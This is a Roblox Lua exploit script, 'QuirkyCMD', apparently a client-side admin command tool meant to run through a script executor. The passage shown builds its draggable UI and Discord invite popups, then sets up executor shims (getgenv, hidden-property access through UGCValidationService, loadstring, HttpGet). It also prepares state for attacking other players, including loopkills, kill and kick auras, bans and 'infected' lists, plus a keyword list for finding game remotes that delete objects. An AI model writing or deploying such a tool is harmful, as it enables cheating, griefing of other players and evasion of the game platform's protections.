quirkyCMD.ResetOnSpawn = false
main.Name = "main"
main.Parent = quirkyCMD
main.AnchorPoint = Vector2.new(0.5, 0.5)
main.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
main.BorderColor3 = Color3.fromRGB(0, 0, 0)
main.BorderSizePixel = 0
main.Position = UDim2.new(0.5, 0, 0.5, 0)
main.Size = UDim2.new(0, 250, 0, 40)
menu.Name = "menu"
menu.Parent = main
menu.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
menu.BackgroundTransparency = 1.000
menu.BorderColor3 = Color3.fromRGB(0, 0, 0)
menu.BorderSizePixel = 0
menu.Position = UDim2.new(0.811999977, 0, 0.125, 0)
menu.Size = UDim2.new(0, 27, 0, 30)
menu.Image = "rbxassetid://73467005156187"
menu.ImageColor3 = Color3.fromRGB(153, 153, 153)
cmdBox.Name = "cmdBox"
cmdBox.Parent = main
cmdBox.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
cmdBox.BackgroundTransparency = 0.800
cmdBox.BorderColor3 = Color3.fromRGB(0, 0, 0)
cmdBox.BorderSizePixel = 0
cmdBox.Position = UDim2.new(0.163999751, 0, 0, 0)
cmdBox.Size = UDim2.new(0.588, 0, 0.999999642, 0)
cmdBox.Font = Enum.Font.SourceSansBold
cmdBox.PlaceholderColor3 = Color3.fromRGB(103, 103, 103)
cmdBox.PlaceholderText = "QuirkyCMD loaded"
cmdBox.Text = ""
cmdBox.TextColor3 = Color3.fromRGB(103, 103, 103)
cmdBox.TextScaled = true
cmdBox.TextSize = 12.000
cmdBox.TextWrapped = true
UITextSizeConstraint.Parent = cmdBox
UITextSizeConstraint.MaxTextSize = 18
UICorner.CornerRadius = UDim.new(0, 20)
UICorner.Parent = cmdBox
UICorner_2.CornerRadius = UDim.new(0, 16)
UICorner_2.Parent = main
remotepath.Name = "remotepath"
remotepath.Parent = quirkyCMD
remotepath.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
remotepath.BackgroundTransparency = 0.600
remotepath.BorderColor3 = Color3.fromRGB(0, 0, 0)
remotepath.BorderSizePixel = 0
remotepath.Position = UDim2.new(0.395616412, 0, 0.249097273, 0)
remotepath.Size = UDim2.new(0.208000004, 0, 0.0439999998, 0)
remotepath.Text = ""
remotepath.TextColor3 = Color3.fromRGB(255, 255, 255)
remotepath.TextScaled = true
remotepath.TextSize = 14.000
remotepath.TextTransparency = 0.600
remotepath.TextWrapped = true
UICorner_3.CornerRadius = UDim.new(0.400000006, 0)
UICorner_3.Parent = remotepath
mobileOpen.Name = "mobileOpen"
mobileOpen.Parent = quirkyCMD
mobileOpen.AnchorPoint = Vector2.new(1, 0)
mobileOpen.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
mobileOpen.BorderColor3 = Color3.fromRGB(0, 0, 0)
mobileOpen.BorderSizePixel = 0
mobileOpen.Position = UDim2.new(0.999999821, 0, 0.293097287, 0)
mobileOpen.Selectable = false
mobileOpen.Size = UDim2.new(0.056456618, 0, 0.0343623683, 0)
mobileOpen.Visible = false
mobileOpen.Font = Enum.Font.SourceSansBold
mobileOpen.Text = "CMD"
mobileOpen.TextColor3 = Color3.fromRGB(200, 200, 200)
mobileOpen.TextScaled = true
mobileOpen.TextSize = 14.000
mobileOpen.TextWrapped = true
UICorner_4.CornerRadius = UDim.new(1, 1)
UICorner_4.Parent = mobileOpen
cmds.Name = "cmds"
cmds.Parent = quirkyCMD
cmds.Active = true
cmds.AnchorPoint = Vector2.new(0.5, 0.5)
cmds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
cmds.BorderColor3 = Color3.fromRGB(0, 0, 0)
cmds.BorderSizePixel = 0
cmds.Position = UDim2.new(0.5, 0, 0.5, 0)
cmds.Size = UDim2.new(0.0883912593, 0, 0.287559688, 0)
cmds.Visible = false
UICorner_5.CornerRadius = UDim.new(0, 16)
UICorner_5.Parent = cmds
closeButton.Name = "closeButton"
closeButton.Parent = cmds
closeButton.Active = false
closeButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
closeButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
closeButton.BorderSizePixel = 0
closeButton.Position = UDim2.new(0.306886673, 0, -7.849561e-08, 0)
closeButton.Size = UDim2.new(0.386227101, 0, 0.0566039979, 0)
closeButton.Font = Enum.Font.SourceSansBold
closeButton.Text = "Close"
closeButton.TextColor3 = Color3.fromRGB(159, 159, 159)
closeButton.TextSize = 14.000
closeButton.TextWrapped = true
UICorner_6.CornerRadius = UDim.new(0.400000006, 0)
UICorner_6.Parent = closeButton
cmdList.Name = "cmdList"
cmdList.Parent = cmds
cmdList.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
cmdList.BorderColor3 = Color3.fromRGB(0, 0, 0)
cmdList.BorderSizePixel = 0
cmdList.Position = UDim2.new(0, 0, 0.0566038229, 0)
cmdList.Size = UDim2.new(0.999999881, 0, 0.943396211, 0)
cmdList.AutomaticCanvasSize = Enum.AutomaticSize.Y
cmdList.CanvasSize = UDim2.new()
cmdList.ScrollBarImageColor3 = Color3.fromRGB(200, 200, 200) -- Optional visual enhancement
UIListLayout.Parent = cmdList
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0, 5)
template.Name = "template"
template.Parent = cmdList
template.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
template.BackgroundTransparency = 1.000
template.BorderColor3 = Color3.fromRGB(0, 0, 0)
template.BorderSizePixel = 0
template.Position = UDim2.new(0, 0, 0.032717593, 0)
template.Size = UDim2.new(0.999999821, 0, 0.323825359, 0)
template.Font = Enum.Font.SourceSans
template.Text = "error, please contact cynatica. you possibly executed QuirkyCMD twice."
template.TextColor3 = Color3.fromRGB(200, 200, 200)
template.TextScaled = true
template.TextSize = 14.000
template.TextWrapped = true
UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(0.58, Color3.fromRGB(229, 229, 229)), ColorSequenceKeypoint.new(0.78, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))}
UIGradient.Parent = template
UICorner_7.CornerRadius = UDim.new(0, 10)
UICorner_7.Parent = cmdList
-- Scripts:
local function JPZSSO_fake_script() -- main.drag
local script = Instance.new('LocalScript', main)
local gui = script.Parent
gui.Active = true
gui.Selectable = true
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local dragging = false
local dragStart
local startPos
local targetPos
local dragSpeed = 8
local function lerpVec2(a, b, t)
return a:Lerp(b, t)
end
RunService.Heartbeat:Connect(function(dt)
if not targetPos then return end
local pos = gui.Position
local newX = lerpVec2(Vector2.new(pos.X.Offset, 0), Vector2.new(targetPos.X.Offset, 0), dt * dragSpeed).X
local newY = lerpVec2(Vector2.new(0, pos.Y.Offset), Vector2.new(0, targetPos.Y.Offset), dt * dragSpeed).Y
gui.Position = UDim2.new(pos.X.Scale, newX, pos.Y.Scale, newY)
end)
local function startDrag(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
local conn
conn = input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
conn:Disconnect()
end
end)
end
end
gui.InputBegan:Connect(startDrag)
for i, child in gui:GetChildren() do
if child.Name == "menu" and child:IsA("ImageButton") then
child.InputBegan:Connect(startDrag)
end
end
UserInputService.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
targetPos = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
end)
end
coroutine.wrap(JPZSSO_fake_script)()
local function CAHA_fake_script() -- main.anims
local script = Instance.new('LocalScript', main)
local frame = script.Parent
local TweenService = game:GetService("TweenService")
local originalSize = UDim2.new(0, 60, 0, 40)
local expandedSize = UDim2.new(0, 250, 0, 40)
frame.Size = originalSize
local menu = frame:FindFirstChild("menu")
local commandsBtn = nil
if menu then
local selection = menu:FindFirstChild("selection")
if selection then
commandsBtn = selection:FindFirstChild("commands")
end
end
local cmdBox = frame:FindFirstChild("cmdBox")
local cmdList = frame:FindFirstChild("cmdList")
local template = cmdList and cmdList:FindFirstChild("template")
local tweenTime = 0.45
local outTweenTime = 0.45
local easingStyle = Enum.EasingStyle.Quad
local easingDir = Enum.EasingDirection.Out
local cmdListOriginalPosition = cmdList and cmdList.Position
local cmdListHiddenPosition = cmdListOriginalPosition and UDim2.new(cmdListOriginalPosition.X.Scale, cmdListOriginalPosition.X.Offset, cmdListOriginalPosition.Y.Scale + 1, cmdListOriginalPosition.Y.Offset)
local cmdListOriginalTransparency = cmdList and cmdList.BackgroundTransparency or 0
local templateOriginalPosition = template and template.Position
local templateHiddenPosition = templateOriginalPosition and UDim2.new(templateOriginalPosition.X.Scale, templateOriginalPosition.X.Offset, templateOriginalPosition.Y.Scale + 1, templateOriginalPosition.Y.Offset)
local templateOriginalTransparency = template and template.TextTransparency or 0
local templateOriginalBGTransparency = template and template.BackgroundTransparency or 0
local cmdBoxOriginalBG = cmdBox and (cmdBox.BackgroundTransparency or 0) or 0
local cmdBoxOriginalText = cmdBox and (cmdBox.TextTransparency or 0) or 0
if cmdBox then
cmdBox.Visible = false
cmdBox.BackgroundTransparency = 1
cmdBox.TextTransparency = 1
end
if cmdList then
if cmdListHiddenPosition then
cmdList.Position = cmdListHiddenPosition
end
cmdList.Visible = false
cmdList.BackgroundTransparency = 1
end
if template then
if templateHiddenPosition then
template.Position = templateHiddenPosition
end
template.Visible = false
template.TextTransparency = 1
template.BackgroundTransparency = 1
end
local cmdBoxBGtween, cmdBoxTextTween, frameTween, btnTween
local cmdListTween, templateTween, templateBGTween
local function cancelCmdBoxTweens()
if cmdBoxBGtween then cmdBoxBGtween:Cancel() cmdBoxBGtween = nil end
if cmdBoxTextTween then cmdBoxTextTween:Cancel() cmdBoxTextTween = nil end
end
local function cancelFrameTween()
if frameTween then frameTween:Cancel() frameTween = nil end
end
local function cancelBtnTween()
if btnTween then btnTween:Cancel() btnTween = nil end
end
local function cancelCmdListTween()
if cmdListTween then cmdListTween:Cancel() cmdListTween = nil end
end
local function cancelTemplateTweens()
if templateTween then templateTween:Cancel() templateTween = nil end
if templateBGTween then templateBGTween:Cancel() templateBGTween = nil end
end
local function setChildrenVisibility(visible)
for _, child in frame:GetChildren() do
if child ~= menu and child ~= script and child:IsA("GuiObject") and child ~= cmdBox and child ~= cmdList then
child.Visible = visible
end
end
end
local function tweenCmdBoxIn(onComplete)
if not cmdBox then if onComplete then onComplete() end return end
cancelCmdBoxTweens()
cmdBox.Visible = true
cmdBox.BackgroundTransparency = 1
cmdBox.TextTransparency = 1
local tweenInfo = TweenInfo.new(tweenTime, easingStyle, easingDir)
cmdBoxBGtween = TweenService:Create(cmdBox, tweenInfo, {BackgroundTransparency = cmdBoxOriginalBG})
cmdBoxTextTween = TweenService:Create(cmdBox, tweenInfo, {TextTransparency = cmdBoxOriginalText})
local completed = 0
local function onTweenComplete()
completed = completed + 1
if completed == 2 then
cmdBoxBGtween = nil
cmdBoxTextTween = nil
if onComplete then onComplete() end
end
end
if cmdBoxBGtween and cmdBoxTextTween then
cmdBoxBGtween.Completed:Connect(onTweenComplete)
cmdBoxTextTween.Completed:Connect(onTweenComplete)
cmdBoxBGtween:Play()
cmdBoxTextTween:Play()
else
if onComplete then onComplete() end
end
end
local function tweenCmdBoxOut(onComplete)
if not cmdBox then if onComplete then onComplete() end return end
cancelCmdBoxTweens()
local tweenInfo = TweenInfo.new(outTweenTime, easingStyle, easingDir)
cmdBoxBGtween = TweenService:Create(cmdBox, tweenInfo, {BackgroundTransparency = 1})
cmdBoxTextTween = TweenService:Create(cmdBox, tweenInfo, {TextTransparency = 1})
local completed = 0
local function onTweenComplete()
completed = completed + 1
if completed == 2 then
cmdBox.Visible = false
cmdBoxBGtween = nil
cmdBoxTextTween = nil
if onComplete then onComplete() end
end
end
if cmdBoxBGtween and cmdBoxTextTween then
cmdBoxBGtween.Completed:Connect(onTweenComplete)
cmdBoxTextTween.Completed:Connect(onTweenComplete)
cmdBoxBGtween:Play()
cmdBoxTextTween:Play()
else
if onComplete then onComplete() end
end
end
local cmdListShowing = false
local function showCmdList()
cancelCmdListTween()
cancelTemplateTweens()
if not cmdList then return end
cmdList.Visible = true
if cmdListHiddenPosition then
cmdList.Position = cmdListHiddenPosition
end
cmdList.BackgroundTransparency = 1
if template then
if templateHiddenPosition then
template.Position = templateHiddenPosition
end
template.Visible = true
template.TextTransparency = 1
template.BackgroundTransparency = 1
end
if cmdListOriginalPosition then
cmdListTween = TweenService:Create(cmdList, TweenInfo.new(tweenTime, easingStyle, easingDir), {
Position = cmdListOriginalPosition,
BackgroundTransparency = cmdListOriginalTransparency
})
cmdListTween.Completed:Connect(function() cmdListTween = nil end)
cmdListTween:Play()
end
if template and templateOriginalPosition then
templateTween = TweenService:Create(template, TweenInfo.new(tweenTime, easingStyle, easingDir), {
Position = templateOriginalPosition,
TextTransparency = templateOriginalTransparency
})
templateBGTween = TweenService:Create(template, TweenInfo.new(tweenTime, easingStyle, easingDir), {
BackgroundTransparency = templateOriginalBGTransparency
})
templateTween.Completed:Connect(function() templateTween = nil end)
templateBGTween.Completed:Connect(function() templateBGTween = nil end)
templateTween:Play()
templateBGTween:Play()
end
cmdListShowing = true
end
local function hideCmdList()
cancelCmdListTween()
cancelTemplateTweens()
if not cmdList then return end
local tweenInfo = TweenInfo.new(outTweenTime, easingStyle, easingDir)
if cmdListHiddenPosition then
cmdListTween = TweenService:Create(cmdList, tweenInfo, {
Position = cmdListHiddenPosition,
BackgroundTransparency = 1
})
cmdListTween.Completed:Connect(function()
cmdList.Visible = false
cmdListTween = nil
end)
cmdListTween:Play()
else
cmdList.Visible = false
end
if template and templateHiddenPosition then
templateTween = TweenService:Create(template, tweenInfo, {
Position = templateHiddenPosition,
TextTransparency = 1
})
templateBGTween = TweenService:Create(template, tweenInfo, {
BackgroundTransparency = 1
})
templateTween.Completed:Connect(function()
template.Visible = false
templateTween = nil
end)
templateBGTween.Completed:Connect(function()
templateBGTween = nil
end)
templateTween:Play()
templateBGTween:Play()
elseif template then
template.Visible = false
end
cmdListShowing = false
end
local btnWidth, btnHeight = 27, 30
local originalBtnPosition = UDim2.new(0.5, -btnWidth/2, 0.5, -btnHeight/2)
local originalBtnSize = UDim2.new(0, btnWidth, 0, btnHeight)
local hoveredBtnPosition = UDim2.new(0.812, 0, 0.125, 0)
local hoveredBtnSize = UDim2.new(0, btnWidth, 0, btnHeight)
if menu then
menu.Visible = true
menu.Position = originalBtnPosition
menu.Size = originalBtnSize
end
setChildrenVisibility(false)
local function tweenFrameSize(targetSize, onComplete)
cancelFrameTween()
frameTween = TweenService:Create(frame, TweenInfo.new(tweenTime, easingStyle, easingDir), {Size = targetSize})
frameTween.Completed:Connect(function()
frameTween = nil
if onComplete then onComplete() end
end)
frameTween:Play()
end
local function tweenMenuButton(targetPos, targetSize)
cancelBtnTween()
if menu then
btnTween = TweenService:Create(menu, TweenInfo.new(tweenTime, easingStyle, easingDir), {
Position = targetPos,
Size = targetSize
})
btnTween.Completed:Connect(function()
btnTween = nil
end)
btnTween:Play()
end
end
local function resetFrameToCollapsed()
cancelFrameTween()
cancelBtnTween()
cancelCmdBoxTweens()
frame.Size = originalSize
if menu then
menu.Position = originalBtnPosition
menu.Size = originalBtnSize
end
setChildrenVisibility(false)
if cmdBox then
cmdBox.Visible = false
cmdBox.BackgroundTransparency = 1
cmdBox.TextTransparency = 1
end
hideCmdList()
end
local function playIntroAnimation()
cancelFrameTween()
cancelBtnTween()
tweenFrameSize(expandedSize, function()
setChildrenVisibility(true)
tweenCmdBoxIn()
end)
if menu then
tweenMenuButton(hoveredBtnPosition, hoveredBtnSize)
end
end
local isExpanded = false
local function toggleExpand()
if isExpanded then
tweenCmdBoxOut(function()
setChildrenVisibility(false)
tweenFrameSize(originalSize)
if menu then
tweenMenuButton(originalBtnPosition, originalBtnSize)
end
hideCmdList()
end)
else
playIntroAnimation()
end
isExpanded = not isExpanded
end
if menu then
menu.MouseButton1Click:Connect(toggleExpand)
end
if commandsBtn then
commandsBtn.MouseButton1Click:Connect(function()
if cmdListShowing then
hideCmdList()
else
showCmdList()
end
end)
end
resetFrameToCollapsed()
end
coroutine.wrap(CAHA_fake_script)()
if not game:IsLoaded() then game.Loaded:Wait() end
--Discord Invite
local notificationShown = false
local TweenService = game:GetService("TweenService")
local discordInvite = "https://discord.gg/quirkycmd"
local function createNotification()
local gui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
local screen = Instance.new("ScreenGui")
screen.Name = "ok"
screen.IgnoreGuiInset = true
screen.ResetOnSpawn = false
screen.Parent = gui
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 280, 0, 90)
frame.AnchorPoint = Vector2.new(1, 1)
frame.Position = UDim2.new(1, -20, 1, 120)
frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ClipsDescendants = true
frame.Parent = screen
Instance.new("UIScale", frame)
Instance.new("UIAspectRatioConstraint", frame).AspectRatio = 3
local corner = Instance.new("UICorner", frame)
corner.CornerRadius = UDim.new(0, 16)
local close = Instance.new("TextButton")
close.Text = "X"
close.Size = UDim2.new(0, 22, 0, 22)
close.Position = UDim2.new(1, -26, 0, 6)
close.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
close.TextColor3 = Color3.fromRGB(159, 159, 159)
close.Font = Enum.Font.FredokaOne
close.TextSize = 14
close.BorderSizePixel = 0
close.Parent = frame
local ccorner = Instance.new("UICorner", close)
ccorner.CornerRadius = UDim.new(1, 0)
local container = Instance.new("Frame")
container.BackgroundTransparency = 1
container.Size = UDim2.new(1, -24, 1, -24)
container.Position = UDim2.new(0, 12, 0, 12)
container.Parent = frame
local layout = Instance.new("UIListLayout")
layout.SortOrder = Enum.SortOrder.LayoutOrder
layout.Padding = UDim.new(0, 6)
layout.VerticalAlignment = Enum.VerticalAlignment.Center
layout.Parent = container
local label = Instance.new("TextLabel")
label.Text = "Join our Discord Server!"
label.TextColor3 = Color3.fromRGB(159, 159, 159)
label.Font = Enum.Font.GothamBold
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Center
label.BackgroundTransparency = 1
label.Size = UDim2.new(1, 0, 0, 18)
label.LayoutOrder = 1
label.Parent = container
local link = Instance.new("TextLabel")
link.Text = discordInvite
link.TextColor3 = Color3.fromRGB(159, 159, 159)
link.Font = Enum.Font.Gotham
link.TextSize = 13
link.TextXAlignment = Enum.TextXAlignment.Center
link.BackgroundTransparency = 1
link.Size = UDim2.new(1, 0, 0, 18)
link.LayoutOrder = 2
link.Parent = container
local buttonContainer = Instance.new("Frame")
buttonContainer.BackgroundTransparency = 1
buttonContainer.Size = UDim2.new(1, 0, 0, 26)
buttonContainer.LayoutOrder = 3
buttonContainer.Parent = container
local button = Instance.new("TextButton")
button.Text = "Copy Invite"
button.Size = UDim2.new(0, 110, 1, 0)
button.AnchorPoint = Vector2.new(0.5, 0)
button.Position = UDim2.new(0.5, 0, 0, 0)
button.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button.TextColor3 = Color3.fromRGB(159, 159, 159)
button.Font = Enum.Font.GothamSemibold
button.TextSize = 13
button.Parent = buttonContainer
local bcorner = Instance.new("UICorner", button)
bcorner.CornerRadius = UDim.new(0, 8)
local tweenIn = TweenService:Create(frame, TweenInfo.new(0.7, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -20, 1, -20)
})
tweenIn:Play()
button.MouseButton1Click:Connect(function()
pcall(function()
setclipboard(discordInvite)
end)
button.Text = "Copied!"
task.delay(1, function()
button.Text = "Copy Invite"
end)
end)
local function hide()
local tweenOut = TweenService:Create(frame, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {
Position = UDim2.new(1, -20, 1, 120)
})
tweenOut:Play()
tweenOut.Completed:Connect(function()
screen:Destroy()
end)
end
close.MouseButton1Click:Connect(hide)
task.delay(10, hide)
end
createNotification()
--[[Variables]]--
local debugOutput = true
local checkTime = 0.33
local flySpeed = 50
local UGCVS = game:GetService("UGCValidationService")
local uis = game:GetService("UserInputService")
local sgui = game:GetService("StarterGui")
local rs = game:GetService("RunService")
local rStorage = game:GetService("ReplicatedStorage")
local players = game:GetService("Players")
local localPlayer = players.LocalPlayer
local gui = quirkycmd or localPlayer:FindFirstChildOfClass("PlayerGui"):WaitForChild("quirkyCMD")
local gethui = gethui or function() return localPlayer:FindFirstChildOfClass("PlayerGui") end
local main = gui:WaitForChild("main")
local box = main:WaitForChild("cmdBox")
local mobileButton = gui:WaitForChild("mobileOpen")
local cmdsFrame = gui:WaitForChild("cmds")
local cmdsList = cmdsFrame:WaitForChild("cmdList")
local cmdTemplate = cmdsList:WaitForChild("template")
local closeButton = cmdsFrame:WaitForChild("closeButton")
local remotePath = gui:WaitForChild("remotepath")
local genv = (getgenv and (getgenv() ~= getfenv()) and getgenv()) or _G
local gethiddenproperty
if pcall(function() gethiddenproperty(localPlayer,"SimulationRadius") end) then
gethiddenproperty = gethiddenproperty
else
gethiddenproperty = function(i, v) return UGCVS:GetPropertyValue(i, v) end
end
local sethiddenproperty = sethiddenproperty or function(inst,i,v) pcall(function() inst[i] = v end) end
local isnetworkowner = isnetworkowner or function(part) return part.ReceiveAge == 0 end
local isMobile = uis.TouchEnabled
local isTesting = game.PlaceId == 16245218863
local modernChat = game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService
local chatEvents = (not modernChat) and rStorage:FindFirstChild("DefaultChatSystemChatEvents")
local mobileOffset = isMobile and 0.1 or 0
local prefix = ";"
local prefixEnum = Enum.KeyCode.Semicolon
-- credits to itzyaboyluq on github for the word list
local wordList = {"delete", "remove", "destroy", "clean", "clear","bullet", "bala", "shoot", "shot", "fire", "segway", "handless", "sword", "attack", "despawn", "deletar", "apagar"}
local camera = workspace.CurrentCamera
local mouse = localPlayer:GetMouse()
local character
task.delay(2,function()
if character then return end
cmdTemplate.Text = "waiting for LocalPlayer.Character..."
end)
character = localPlayer.Character or localPlayer.CharacterAdded:Wait()
local testInstance = localPlayer:WaitForChild("StarterGear",1)
if not testInstance then cmdTemplate.Text = "StarterGear already missing." return error("no test instance found") end
local visible = false
genv.connections = {}
local commands = {}
local remotes = {}
local services = {}
local privilegeLevels = {}
local rankNames = {"admin", "owner", "self"}
local bans = {}
local loopkills = {}
local infected = {}
local killauras = {}
local kickauras = {}
local wslocks = {}
local useSegway = false
local slockEnabled = false
local clickDelete = false
local clickDeleteBox
local inDatabase = false
local scaleValues = {
"BodyProportionScale",
"BodyWidthScale",
"BodyHeightScale",
"BodyDepthScale",
"HeadScale",
"BodyTypeScale"
}
local limbs = {
"arm",
"leg",
"foot"
}
local function httpget(url)
if isTesting then
return rStorage:WaitForChild("request"):InvokeServer(url)
end
return game:HttpGet(url)
end
--[[Add test game compatability]]--
if isTesting then
function loadstring(src)
return require(rStorage:WaitForChild("Loadstring"))(src)
end
local files = localPlayer.PlayerGui:WaitForChild("workspace")
function isfile(str)
local str = str or ""
return files:FindFirstChild(str) and true or false
end
function writefile(str,txt)
local str = str or ""
local val = isfile(str) and files[str] or Instance.new("StringValue", files)
val.Name = str
val.Value = txt
end
function readfile(str)
local str = str or ""
if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end
return files[str].Value
end
function listfiles(str)
local res = {}
for i,v in pairs(files:GetChildren()) do
table.insert(res, v.Name)
end
return res
end
function loadfile(str)
local str = str or ""
if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end
return loadstring(files[str].Value)
end
end
--[[Prepare UI]]--
cmdsFrame.Visible = false
main.Visible = false
cmdTemplate.Visible = false
mobileButton.Visible = false
box.Position = UDim2.new(0, 0, 0, 0)
box.Size = UDim2.new(0.824, 0, 1, 0)
--[[Set up admin system logic]]--
for i,v in pairs(players:GetPlayers()) do
privilegeLevels[v.Name] = 0
end
privilegeLevels[localPlayer.Name] = 3
table.insert(genv.connections, players.PlayerAdded:Connect(function(plr)
privilegeLevels[plr.Name] = 0
end))
table.insert(genv.connections, players.PlayerRemoving:Connect(function(plr)
privilegeLevels[plr.Name] = nil
end))
--[[Misc. functions]]--
function debugPrint(...)
if not debugOutput then return end
warn(...)
end
debugPrint("loaded UI")
function notify(title,text,duration)
sgui:SetCore("SendNotification", {
Title = title or "",
Text = text or "",
Duration = duration or 5
})
end
local function getKeyCode(char)
local char = char:lower()
local byte = char:byte()
for i,v in pairs(Enum.KeyCode:GetEnumItems()) do
local value = v.Value
if value ~= byte then continue end
return v
end
end
function findPlayers(input)
if input == nil or input == "" then return
{localPlayer}
end
local input = input:lower()
local players = players:GetPlayers()
local targets = {}
if input == "me" then
return {localPlayer}
end
if input == "all" then
return players
end
if input == "others" then
targets = players
table.remove(targets,1)
return targets
end
if input == "random" then
return {players[math.random(1,#players)]}
end
for i,v in pairs(players) do
local plrName = v.Name:lower()
local plrDisplayName = v.DisplayName:lower()
if not (plrName:find(input) or plrDisplayName:find(input)) then continue end
table.insert(targets, v)
end
return targets
end
function abort()
for i,v in pairs(genv.connections) do
if typeof(v) == "Instance" then v:Destroy() continue end
v:Disconnect()
end
gui:Destroy()
if modernChat then
game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = nil
end
if clickDeleteBox then clickDeleteBox:Destroy() end
genv.delete = nil
genv.connections = nil
genv.foundRemote = nil
end
local function lerp(a, b, m)
return a + (b - a) * m
end
--[[Update variables]]--
table.insert(genv.connections, localPlayer.CharacterAdded:Connect(function(char)
character = char
end))
--Discord Invite
local TweenService = game:GetService("TweenService")
local Lighting = game:GetService("Lighting")
local visible = false
local hasPlayedSound = false
local hasBlurred = false
local notificationDismissed = false
local appearSoundId = "rbxassetid://88591874532589" -- you can change this to your desired sound with an id. cool right?
local discordInvite = "https://discord.gg/quirkycmd"-- same goes for this link, but i'd prefer if you keep it as quirky ;)
local function playAppearSound()
local sound = Instance.new("Sound")
sound.SoundId = appearSoundId
sound.Volume = 0.7
sound.PlayOnRemove = true
sound.Parent = workspace
sound:Destroy()
end
local function addFirstTimeBlur()
local blur = Instance.new("BlurEffect")
blur.Name = "StartBlur"
blur.Size = 0
blur.Parent = Lighting
local blurIn = TweenService:Create(blur, TweenInfo.new(0.6, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { Size = 10 })
blurIn:Play()
task.delay(1, function()
local blurOut = TweenService:Create(blur, TweenInfo.new(0.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { Size = 0 })
blurOut:Play()
blurOut.Completed:Connect(function()
blur:Destroy()
end)
end)
end
local function showFirstTimeNotification()
if notificationDismissed then return end
local gui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
local screen = Instance.new("ScreenGui")
screen.Name = "ok"
screen.IgnoreGuiInset = true
screen.ResetOnSpawn = false
screen.Parent = gui
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 280, 0, 90)
frame.AnchorPoint = Vector2.new(1, 1)
frame.Position = UDim2.new(1, -20, 1, 120)
frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ClipsDescendants = true
frame.Parent = screen
Instance.new("UIScale", frame)
Instance.new("UIAspectRatioConstraint", frame).AspectRatio = 3
local corner = Instance.new("UICorner", frame)
corner.CornerRadius = UDim.new(0, 16)
local close = Instance.new("TextButton")
close.Text = "X"
close.Size = UDim2.new(0, 22, 0, 22)
close.Position = UDim2.new(1, -26, 0, 6)
close.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
close.TextColor3 = Color3.fromRGB(159, 159, 159)
close.Font = Enum.Font.FredokaOne
close.TextSize = 14
close.BorderSizePixel = 0
close.Parent = frame
local ccorner = Instance.new("UICorner", close)
ccorner.CornerRadius = UDim.new(1, 0)
local container = Instance.new("Frame")
container.BackgroundTransparency = 1
container.Size = UDim2.new(1, -24, 1, -24)
container.Position = UDim2.new(0, 12, 0, 12)
container.Parent = frame
local layout = Instance.new("UIListLayout")
layout.SortOrder = Enum.SortOrder.LayoutOrder
layout.Padding = UDim.new(0, 6)
layout.VerticalAlignment = Enum.VerticalAlignment.Center
layout.Parent = container
local label = Instance.new("TextLabel")
label.Text = "Join our Discord Server!"
label.TextColor3 = Color3.fromRGB(159, 159, 159)
label.Font = Enum.Font.GothamBold
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Center
label.BackgroundTransparency = 1
label.Size = UDim2.new(1, 0, 0, 18)
label.LayoutOrder = 1
label.Parent = container
local link = Instance.new("TextLabel")
link.Text = discordInvite
link.TextColor3 = Color3.fromRGB(159, 159, 159)
link.Font = Enum.Font.Gotham
link.TextSize = 13
link.TextXAlignment = Enum.TextXAlignment.Center
link.BackgroundTransparency = 1
link.Size = UDim2.new(1, 0, 0, 18)
link.LayoutOrder = 2
link.Parent = container
local buttonContainer = Instance.new("Frame")
buttonContainer.BackgroundTransparency = 1
buttonContainer.Size = UDim2.new(1, 0, 0, 26)
buttonContainer.LayoutOrder = 3
buttonContainer.Parent = container
local button = Instance.new("TextButton")
button.Text = "Copy Invite"
button.Size = UDim2.new(0, 110, 1, 0)
button.AnchorPoint = Vector2.new(0.5, 0)
button.Position = UDim2.new(0.5, 0, 0, 0)
button.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
